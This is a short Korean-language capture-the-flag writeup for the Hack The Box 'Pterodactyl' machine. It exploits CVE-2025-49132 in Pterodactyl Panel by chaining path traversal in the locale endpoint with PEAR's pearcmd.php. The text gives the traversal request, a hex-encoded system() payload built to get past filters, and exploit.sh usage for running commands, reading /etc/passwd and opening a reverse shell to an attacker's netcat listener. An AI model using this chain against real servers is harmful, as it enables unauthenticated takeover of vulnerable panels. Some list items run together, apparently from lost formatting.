
Pterodactyl Panel (CVE-2025-49132)의 인증되지 않은 RCE 익스플로잇으로, 경로 탐색(path traversal)과 PEAR 명령 삽입을 결합하여 취약한 서버에서 임의의 PHP 코드를 실행합니다.
HTB 시즌 10 - Pterodactyl 머신 Writeup
대상: Pterodactyl HTB 머신 (중간 난이도)
CVE: CVE-2025-49132
심각도: 치명적 (CVSS 9.8)
공격 유형: 인증되지 않은 원격 코드 실행
영향받는 버전: Pterodactyl Panel < v1.11.11
이 익스플로잇 체인은 다음을 결합합니다:
Pterodactyl 패널의 /locales/locale.json 엔드포인트는 locale 매개변수를 통해 경로 탐색을 허용합니다:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
이는 PEAR의 pearcmd.php와 연결하여 다음을 수행할 수 있습니다:
/tmp에 작성PEAR (PHP Extension and Application Repository) 는 다음을 수행하는 CLI 도구(pearcmd.php)를 가지고 있습니다:
config-create 명령어가 있음익스플로잇 체인:
경로 탐색 → pearcmd.php 로드 → config-create를 통해 PHP 주입 → 악성 PHP 실행
명령어는 hex2bin()을 사용하여 16진수로 인코딩되어 우회합니다:
예시:
Command: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
방법: 제공된 exploit.sh 사용
chmod +x exploit.sh
# Get user flag
./exploit.sh flag
# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Reverse shell
nc -lvnp 4444 # On attacker machine
./exploit.sh shell 10.10.14.21 4444